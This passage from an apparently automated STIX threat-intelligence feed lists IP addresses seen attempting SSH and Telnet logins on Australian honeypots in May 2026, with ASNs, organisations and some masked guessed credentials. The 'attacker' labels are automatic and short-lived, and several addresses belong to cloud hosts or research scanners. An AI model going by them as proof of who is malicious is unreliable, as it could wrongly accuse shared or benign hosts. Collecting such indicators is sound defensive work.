      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--dca530c7-c5e0-41d7-9609-6bc2f0f97044",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--e7685f96-cc56-436e-8336-59d16f554dbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.162.31.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264948. Organisation(s): KONECTIVA TELECOMUNICACOES LTDA.",
      "id": "indicator--4360e276-fbac-4776-9416-be7ab1f8a032",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.232.196.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): a***********i.",
      "id": "indicator--552a5328-d8d3-43cc-ac35-21575f335365",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52765. Organisation(s): MAXXNET TELECOM.",
      "id": "indicator--fc5847dc-1c3f-4472-8304-79291f163b41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.39.125.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--8bd57640-846e-455e-b545-161447c88830",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.82.60.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270796. Organisation(s): ENZEN TELECOM LTDA.",
      "id": "indicator--6ee268dd-39bb-450e-9503-37bb0139b2ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.36.255.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 42013. Organisation(s): Together Communication LTD.",
      "id": "indicator--afe897d8-d80b-4024-8774-b3db44a40817",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.229.247.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T06:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA.",
      "id": "indicator--26995cc9-0d53-4f4c-9b88-363d3174d581",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T06:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.15.254.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:15:07.000Z",
      "valid_until": "2026-06-04T06:15:04.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 38266. Organisation(s): Vodafone Idea Ltd.",
      "id": "indicator--0cb719d0-2745-42da-b790-7ac9f01af32e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.39.204.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 37119. Organisation(s): UNITEL.",
      "id": "indicator--6fa9a0da-b40b-489b-806c-2043cbab7609",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.172.102.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45634. Organisation(s): 10 Science Park Road.",
      "id": "indicator--a2f2496f-288a-485e-af81-19ceea2a18df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.140.184.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396356. Organisation(s): Latitude.sh. Usernames observed (masked): r**t. Passwords observed (masked): s****3.",
      "id": "indicator--00480e94-68f3-455f-9eb9-ba033878afc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '136.144.35.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 133694. Organisation(s): EMAX GLOBAL MEDIA PVT. LTD.",
      "id": "indicator--77207419-b7d1-42fc-b70c-b6d71574c220",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '137.59.54.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264170. Organisation(s): Winet Brasil.",
      "id": "indicator--3ec4293d-5dbd-4bed-a16f-60c0fc3d511d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.99.62.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--77f9b23e-9c6d-4778-9ae7-47d9b44a5011",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.128.181.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--babe3780-f587-48a5-b718-885c61b634d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.97.75.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): ***, t**t. Passwords observed (masked): ***, t**t.",
      "id": "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***n, ***, u**r. Passwords observed (masked): ***, a***n, p**s.",
      "id": "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): 1***5, ***, a***n, p***y. Passwords observed (masked): 1***5, 1****6, ***, p***y.",
      "id": "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 1080. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): *, ***, 1****6, r**t. Passwords observed (masked): *, ***, 1****6, r**t.",
      "id": "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--6a77cd86-ceb6-4a9d-8f74-ffc50f6f84ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.163.170.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--040b20a6-77dd-432f-98e9-a72b72cc7f5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.163.26.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28126. Organisation(s): BRISANET SERVICOS DE TELECOMUNICACOES S.A. Usernames observed (masked): r**t, d****y, u****u, 3**********4, a***n. Passwords observed (masked): 1**1, 1****6, 1****************9, 3***********4, 3**********4.",
      "id": "indicator--0a179ea2-308f-42f9-b273-66faa9a11d61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.42.14.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--27cf094c-4c64-43a0-bfdf-ae1b184d3968",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.112.46.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t. Passwords observed (masked): a*****!.",
      "id": "indicator--8f04b9a0-1c32-4c4a-ad07-4b5be5dd7c25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.253.40.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--88062ec1-25aa-4a6b-8bc1-4e2147810881",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.74.101.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--cca6836c-30d7-4718-86f4-10e9e9fd8928",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.34.160.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--1f909561-4aea-495d-ae74-3e31e6527fd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.76.124.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U******************************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--46a26322-ea99-43f9-ae21-3cbae08e990a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--a5432210-a65c-4cc6-b92d-72d3701e0361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 21021. Organisation(s): Multimedia Polska Sp. z o.o.. Usernames observed (masked): c********r, ***. Passwords observed (masked): 1****3, a******3.",
      "id": "indicator--474eea9b-587d-4d5f-b754-d1b5b646cd24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.229.150.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T07:15:10.000Z",
      "valid_until": "2026-06-04T07:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 328856. Organisation(s): VIJIJI-CONNECT-LIMITED.",
      "id": "indicator--5d1b8613-5ca3-4aa2-ac8f-cfbfc55d1dbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.219.208.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 135341. Organisation(s): Orange Communication.",
      "id": "indicator--2f685b92-29a3-40e1-ae0d-20eca950100a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.137.72.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 135341. Organisation(s): Orange Communication.",
      "id": "indicator--cbae9bd2-f5cc-4f18-93b7-984804df3127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.137.72.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T08:15:10.000Z",
      "valid_until": "2026-06-04T08:15:08.000Z"
    },
    {
      "created": "2026-05-03T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 135341. Organisation(s): Orange Communication.",
      "id": "indicator--6ab32c7a-ee76-4270-9bfe-5bb21e326c7c",
      "labels": [
